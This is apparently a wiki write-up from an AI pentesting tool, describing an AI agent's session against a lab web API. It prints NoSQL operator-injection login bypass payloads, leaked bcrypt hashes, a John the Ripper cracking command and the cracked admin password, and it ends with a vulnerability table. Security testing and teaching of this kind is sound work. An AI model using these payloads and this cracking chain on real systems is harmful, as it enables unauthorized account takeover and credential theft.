-
Notifications
You must be signed in to change notification settings - Fork 412
NQL ZBIKC_sess_decoded
Target the Express REST API on port 80. No credentials are known.
Find endpoints that query MongoDB. Test for operator injection in
JSON body parameters to bypass authentication filters or extract
data without valid credentials.
No credentials, no hints about endpoints. The agent must discover the API structure, find MongoDB-backed endpoints, and exploit NoSQL operator injection to bypass authentication or extract sensitive data.
The agent started with a Deep Think strategy session, planning its approach: query the recon graph, discover API endpoints, then test for NoSQL operator injection in JSON body parameters.
Graph query returned target info for gpigs.devergolabs.com (15.160.68.117) -- ports 80, 21, 22, 3306, 4000, 8080 identified, but the graph showed nginx on port 80 with mostly static-looking paths. No Express API endpoints were mapped.
First probes confirmed Express via X-Powered-By: Express header on /js/package.json. The homepage was a static landing page served by nginx -- no API references, no JavaScript files with src attributes, no inline scripts with endpoint URLs.
Brute-force endpoint discovery with ffuf using 70+ common API paths (/api/login, /api/users, /api/v1/login, etc.) -- all returned 404. The API was not at any standard path.
The agent pivoted to multiple discovery strategies in parallel:
- Fetched full HTML source looking for inline JS
- Rendered page with Playwright to catch dynamic content
- Ran broader directory enumeration with larger wordlists
- Ran nmap
http-enumscripts against port 80
Nmap http-enum was the breakthrough -- it found /home.html, /admin.html, /api-docs/, and ffuf simultaneously discovered /api/v2/users returning 401 Unauthorized.
The agent then fetched the Swagger specification from /api-docs/swagger-ui-init.js, which revealed the complete API:
| Endpoint | Method | Purpose |
|---|---|---|
/api/v2/login |
POST | Authentication (username/password JSON) |
/api/v2/users |
GET/POST | User listing / registration |
/api/v2/notes |
GET | Notes listing |
/api/v2/notesearch |
POST | Note search (search param) |
/api/v2/users/profile |
GET | User profile |
/api/v2/admin/logs |
GET | Admin activity logs |
/api/v2/admin/create-user |
POST | Admin user creation |
While analyzing the Swagger spec, the agent simultaneously tested the login endpoint with common credentials:
POST /api/v2/login
{"username": "test", "password": "test"}
HTTP 200 -- returned a valid JWT token and the full user object, including the bcrypt password hash:
{
"token": "eyJhbGciOiJIUzI1...",
"result": {
"_id": "69d3ba483d54a634fbd5f28a",
"username": "test",
"password": "$2b$10$lg0KD2/OEaznUdq.EZsrWu3LTExnc4HslfgIvvQFCInZZdxP3gLG.",
"admin": false
}
}Two immediate findings: (1) the login response leaks bcrypt password hashes, and (2) test/test are valid credentials. The JWT contained user:read and user:write permissions.
The agent fired 4 classic NoSQL operator injection payloads at the login endpoint in parallel:
| Payload | Response |
|---|---|
{"username":{"$ne":""},"password":{"$ne":""}} |
500 Internal Server Error |
{"username":{"$gt":""},"password":{"$gt":""}} |
500 Internal Server Error |
{"username":"admin","password":{"$ne":""}} |
500 Internal Server Error |
{"username":"admin","password":{"$exists":true}} |
500 Internal Server Error |
All returned HTTP 500 with {"status":500,"error":{}}. The agent correctly analyzed this:
"The 500 errors strongly suggest MongoDB operators ARE being passed through to the database (no input sanitization), but the application code crashes when processing the results -- likely because bcrypt.compare() receives a MongoDB operator object instead of a string for password comparison."
The login endpoint uses a two-step pattern: (1) query MongoDB by username, (2) compare password with bcrypt.compare(). Operators in the password field crash bcrypt because it expects a string, not an object. This is the "bcrypt wall" -- classic NoSQL auth bypass ({"$ne":""} on both fields) is blocked.
After 4 consecutive failures on direct auth bypass, the agent triggered a strategic Deep Think:
"PIVOT STRATEGY: Stop attacking login directly (bcrypt blocks password-field operator injection). Instead: (1) Authenticate with test/test to get JWT, (2) Test authenticated endpoints where bcrypt is NOT involved, (3) Use $regex on the login USERNAME field with known passwords -- since bcrypt only fails on the password field, injecting operators into username while providing a real password string should work."
The agent launched 4 parallel tests:
| Payload | Response | Analysis |
|---|---|---|
{"username":{"$regex":"^a"},"password":"test"} |
401 | Operator processed! No user starting with 'a' has password 'test' |
{"username":{"$regex":"^t"},"password":"test"} |
200 OK + JWT | NoSQL injection bypass confirmed! |
{"username":{"$regex":".*"},"password":"test"} |
401 | Matched admin first (alphabetical), admin's password is not 'test' |
notesearch with JWT + {"search":{"$ne":""}}
|
200 OK, [] | Operators accepted but notes DB is empty |
The $regex on username with ^t and password test returned a valid JWT for the test user. NoSQL injection confirmed on the username field. The 401 on $regex: .* revealed that MongoDB returns the first matching document (admin, alphabetically) and bcrypt fails because admin's password is not test.
The agent used the test JWT to access /api/v2/users:
GET /api/v2/users
Authorization: Bearer eyJhbGci...
HTTP 200 -- returned ALL user records with full bcrypt hashes:
| Username | Admin | Bcrypt Hash |
|---|---|---|
admin |
true | $2b$10$WyZVBvRJEmpyIjghIOeOhu9PlHhE9nSW1HyAbC8mSa6GedbvJYPhW |
test |
false | $2b$10$lg0KD2/OEaznUdq.EZsrWu3LTExnc4HslfgIvvQFCInZZdxP3gLG. |
The agent immediately ran John the Ripper against the admin hash with a 30-word common password list:
john --format=bcrypt --wordlist=/tmp/wordlist.txt /tmp/admin_hash.txt
Cracked in under 1 second: letmein
The agent authenticated as admin two ways in parallel:
-
Direct login:
{"username":"admin","password":"letmein"}-- 200 OK, admin JWT with[user:read, user:write, user:admin]permissions -
$regex bypass:
{"username":{"$regex":"^adm"},"password":"letmein"}-- 200 OK, same admin JWT
Both succeeded, demonstrating that NoSQL injection enables authentication even without knowing the exact username.
With the admin JWT, the agent confirmed full access to all endpoints:
-
/api/v2/users-- all users with hashes (same as test-level access, confirming broken access control) -
/api/v2/notes-- empty database -
/api/v2/notesearchwith{"search":{"$ne":""}}-- empty (no notes to extract)
| Time | Action | Result |
|---|---|---|
| 3:55 | Deep Think strategy | Planned NoSQL injection approach |
| 3:56 | Query recon graph | Target info, ports, basic endpoints |
| 3:57 | Probe homepage + headers | Express confirmed via X-Powered-By |
| 3:57 | ffuf with 70+ API paths | All 404 -- non-standard API structure |
| 3:58 | Analyze frontend JS | No API references found |
| 3:59 | nmap http-enum + broader ffuf | /api-docs/, /home.html, /admin.html, /api/v2/users (401) |
| 4:00 | Fetch Swagger spec + admin.html | Full API spec with all endpoints |
| 4:08 | Login with test/test | JWT obtained + bcrypt hash leaked |
| 4:09 | NoSQL injection on login (4 payloads) | All 500 -- operators reach MongoDB, bcrypt crashes |
| 4:10 | Deep Think pivot | Switch to username-field injection |
| 4:11 | $regex on username + known password | Auth bypass confirmed (200 OK with JWT) |
| 4:12 | GET /api/v2/users | All users with bcrypt hashes exposed |
| 4:13 | John the Ripper on admin hash | Cracked: letmein |
| 4:14 | Admin login + $regex bypass | Both succeed -- full admin JWT |
| 4:15 | Admin endpoint exploration | Full admin access confirmed |
| 4:17 | Document attack chain | Session complete |
Total time: ~22 minutes from first request to full admin compromise.
| # | Vulnerability | Endpoint | Severity |
|---|---|---|---|
| 1 | NoSQL Operator Injection (username field) | POST /api/v2/login | Critical |
| 2 | Password Hash Disclosure (login response) | POST /api/v2/login | High |
| 3 | Password Hash Disclosure (users endpoint) | GET /api/v2/users | High |
| 4 | Weak Admin Password | admin account | High |
| 5 | NoSQL Operator Injection (notesearch) | POST /api/v2/notesearch | Medium (no data) |
| 6 | bcrypt Error Disclosure | POST /api/v2/login | Low (500 on operator input) |
The API used a non-standard path structure (/api/v2/) that wasn't in common wordlists. After ffuf failed with 70+ paths, the agent combined nmap http-enum, broader fuzzing, frontend HTML analysis, and Swagger spec extraction to map the full API surface. It took 5 waves of parallel probes over ~12 minutes before finding the actual endpoints.
When the classic {"$ne":""} bypass caused 500 errors instead of success, the agent didn't just retry -- it correctly diagnosed why (bcrypt.compare crashes on objects) and pivoted to injecting operators only on the username field while providing real string passwords. This shows understanding of how the application processes input, not just how MongoDB queries work.
Two Deep Think sessions triggered at critical moments: (1) after the initial 4 injection failures, the agent redesigned its entire approach, and (2) after the username-field injection confirmed, it planned the hash extraction and cracking pipeline. Both pivots were well-reasoned and led directly to progress.
The final admin compromise chained three independent vulnerability classes:
- NoSQL injection on the login username field (confirmed operator processing)
-
Information disclosure via
/api/v2/users(leaked all bcrypt hashes) -
Offline hash cracking with John the Ripper (admin password
letmeinin <1s)
The agent ran 13 waves of parallel tool calls (3-5 tools per wave), testing multiple hypotheses simultaneously. When one path failed (password-field injection), the alternatives were already being tested in the same wave.
The complete unedited agent session log is available in NQL-ZBIKC_session.md.
Getting Started
Core Workflow
- Red Zone
- Recon Pipeline Workflow
- Running Reconnaissance
- AI Agent Guide
- Fireteam — Parallel Specialists
- Agent Workspace
- Reverse Shells
Scanning & OSINT
- Adversarial AI Recon
- JS Reconnaissance
- GraphQL Security Testing
- Subdomain Takeover Detection
- VHost & SNI Enumeration
- GVM Vulnerability Scanning
- GitHub Secret Hunting
- TruffleHog Secret Scanning
AI & Automation
- AI Model Providers
- MCP Tool Plugins
- Knowledge Base & Web Search
- Agent Skills
- Chat Skills
- Tradecraft Lookup
- Playwright Browser Automation
- CypherFix — Automated Remediation
- Rules of Engagement (RoE)
HackLab
Analysis & Reporting
- Insights Dashboard
- Pentest Reports
- Attack Surface Graph
- Surface Shaper
- EvoGraph — Attack Chain Evolution
- Data Export & Import
Contributing
Reference & Help